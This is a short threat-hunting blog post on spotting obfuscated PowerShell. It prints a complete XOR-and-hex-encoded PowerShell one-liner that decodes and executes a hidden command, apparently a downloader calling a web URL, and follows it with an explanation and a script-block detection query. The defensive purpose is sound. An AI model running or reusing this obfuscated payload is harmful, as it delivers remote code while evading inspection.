144. Hunting for Obfuscated PowerShell Scripts
Hello everyone!
Yes, looks like we can talk about PowerShell abuse forever! For example, adversaries often try to obfuscate malicious PowerShell scripts.
Let's look at an example:
$udVDkdtSF =([regex]::Matches('6b677a6a767672382d2d63606b6c65766d6c2f63767272632c6d70652d7460712d6c6d636c766b2f746f2c606376264f5854557a5146223f2226676c7438437272466376633964776c61766b6d6c226d714144696b48432a26765341542e22264a6a61752b796177706e222676534154222f6d22264a6a61757f3964776c61766b6d6c2271504a4764562a2b7964776c61766b6d6c22537a68634147402a264e46776e755074587a2b796b642a232a566771762f5263766a222f5263766a22264a6a61752b2b796d714144696b484322264e46776e755074587a22264a6a61757f7f264a6a6175223f2226676c743843727246637663222922255e6c6d636c766b2f746f2c6063762539537a686341474022267766544669667651442c5177605176706b6c652a312e36312b39717663707622264a6a6175397f71504a47645639','.{2}') | % { [char]([Convert]::ToByte($_.Value,16) -bxor '2') }) -join '';& $udVDkdtSF.Substring(0,3) $udVDkdtSF.Substring(46);exit;
So, it takes a long hexadecimal string, splits it into bytes (2 characters each), converts each byte from hex to a number, XORs each byte with 2, converts the result to characters and joins them into a string, splits that string into a command and arguments, and executes the command with those arguments.
I think you already noticed some keywords we can use to build our query, for example (we are using ScriptBlock once again):
event_type: "ScriptExecutionWin"
AND
script_text: ("convert" AND "tobyte" AND "bxor")
See you tomorrow!
Comments
Post a Comment